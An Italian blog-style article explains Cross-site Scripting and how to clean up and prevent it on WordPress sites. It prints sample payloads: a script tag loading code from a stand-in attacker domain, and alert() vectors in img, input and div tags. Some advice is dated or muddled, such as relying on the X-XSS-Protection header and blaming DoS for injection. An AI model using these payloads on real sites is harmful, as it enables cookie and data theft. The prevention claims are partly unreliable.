Dedichiamo adesso questo articolo per raccontarvi dell Cross-site Scripting (XSS) , ossia un attacco hacher che viene fatto con gli script. Principalmente si tratta di iniettare nel vostro browser un codice maligno che effettui dei danni o trasferisca informazioni. Ma ci ritorneremo a breve , come dice il nome stesso l’attacco Cross-site Scripting (XSS) è realizzato con gli scripting e più precisamente con quelli lato Client, ossia nel vostro browser, si tratta di un attacco decisamente subdolo e non sempre è percepibile quello che stiamo subendo. Ovviamente essendo un attacco di scripting i linguaggi con il quale viene fatto sono principalmente con VB, ActiveX , Flash , ma è ovvio che principalmente è usato Javascript per le sue proprietà intrinseche. Ossia con Javascript è possibile
- accedere ai cookie di sistema che poi è quello che un hacker va cercando
- microfono o altri comandi similari
- Oggetti Dom
- Httpxmlrequest e quindi gestire o intercettare la vostra chiamata a moduli input/database.
- la vostra posizione tramite le API dell’HTML 5
Questi sono solamente alcuni esempi , ma è ovvio che con le API e gli Oggetti Dom di Javascript si ha praticamente accesso a quasi tutto. Vediamo un attimo ora come funziona nello specifico questo tipo di Attacco.
Cross-site Scripting (XSS)
Come mostrato dalla figura l’attacco è strutturato in quattro fasi e come mostra la figura di stratta di un attacco abbastanza alla portata di chi legga una buona guida e abbia delle conoscenze nemmeno troppo eccelse di Javascript , per questi motivi la guida che state leggendo è volutamente mancante di alcune parti che potrebbero spiegare a qualche malintenzionato di andare oltre….
- L’aggressore hacker caricherà nel database o solamente nel web site vulnerabile tipicamente un blog o un sito di qualsiasi natura tipicamente tramite un attacco DOS un codice maligno latente.
- Al primo punto viene fatta una richiesta al database di un sito di leggere dei dati che preleverà verosimilmente da Database
- Lo script ovviamente viene caricato nel browser del richiedente o vittima
- Lo script verrà eseguito nella vostro computer darà i risultati da voi richiesti ma contemporaneamente fornirò anche dei dati segreti ad un altro host che tipicamente è quello dell’host dell’aggressore hacker , oppure di un suo referente secondo lo schema indicato in figura.
Ribadiamo questo è solamente un esempio dei tanti che si possono fare tramite un attacco Cross-site Scripting (XSS)
Il brutto di questo nuovo attacco è che come vi ho già detto chiunque conosca un minimo di JS può farlo.
Lo potete trovare in varie forme, ve ne indichiamo le più comuni
nel vostro head
src=” sitoaggressore.com/xss.js”>
alert(“XSS”);
e dopo richiamarlo nel body
XSS Scripting nelle immagini
in questo caso il codice potrebbe essere il segue
< img src = ” javascript: alert(“XSS”); ” >
Cross-site Scripting (XSS) nel modulo Input
In questo modo penserete di richiamare l’immagine per un modulo input ma in realtà attivate il codice maligno
< input type=”image” src = ” javascript: alert(‘XSS’); ” >
Cross-site Scripting (XSS) nel div
Ovviamente nel div è ancora più semplice vi baserà fare
< div style= background-image: url(javascript : alert (‘XSS’))”>
Insomma come vedete è veramente semplice, ma come risolvere il problema?
Come bloccare e ripulire dagli attacchi Cross-site Scripting (XSS)
Andiamo per passi
- Ovviamente quando si subisce questo tipo di attacco vuol dire che il sito è stato compromesso, sarà stato un DoS , sarà stato un attacco di forza bruta, ma l’aggressore da qualche parte ha avuto accesso ai vostri dati. Quindi primo passo cambiateli tutti, cambiate password del sito , cambiate quella del database , del FTP e nel caso cambiate anche quella dell’hosting che potrebbero essere entrati anche da li.
- Il secondo passo è sicuramente quello di togliere tutto il codice maligno presente, vi metto un indicazione. Supponiamo che si tratti di wordpress. Qui il passo è semplicissimo. Infatti non dovrete stare a controllare ogni singolo table, div, image etc. etc. vi basterà o fare l’aggiornamento alla versione successiva di WP, oppure se siete già all’ultima versione reinstallarla.
- Sempre nel caso che siate in WordPress scaricatevi qualche plugins di sicurezza come Wordfence o Sucure magari abbinandoli a Limit Login Attempt , lo so rallentano un pò il blog , ma vedrete che una volta che siete stati perforati vorrete metterci questi e altri 10.
Una volta che il sito è ripulito e che è stato messo in sicurezza vediamo come prevenire questo tipo di attacco. Diciamo che ci sono due metodi alternativi , se avete accesso al vostre demone Apache inserite questo comando nel httpd.conf
X-XSS-Protection: 1; mode=block
Oppure se il vostro blog risiede su un hosting condiviso allora dovrete modificare il vostro htaccess inserendo questo codice
<IfModule mod_headers.c>
Header set X-XSS-Protection "1; mode=block"
</IfModule>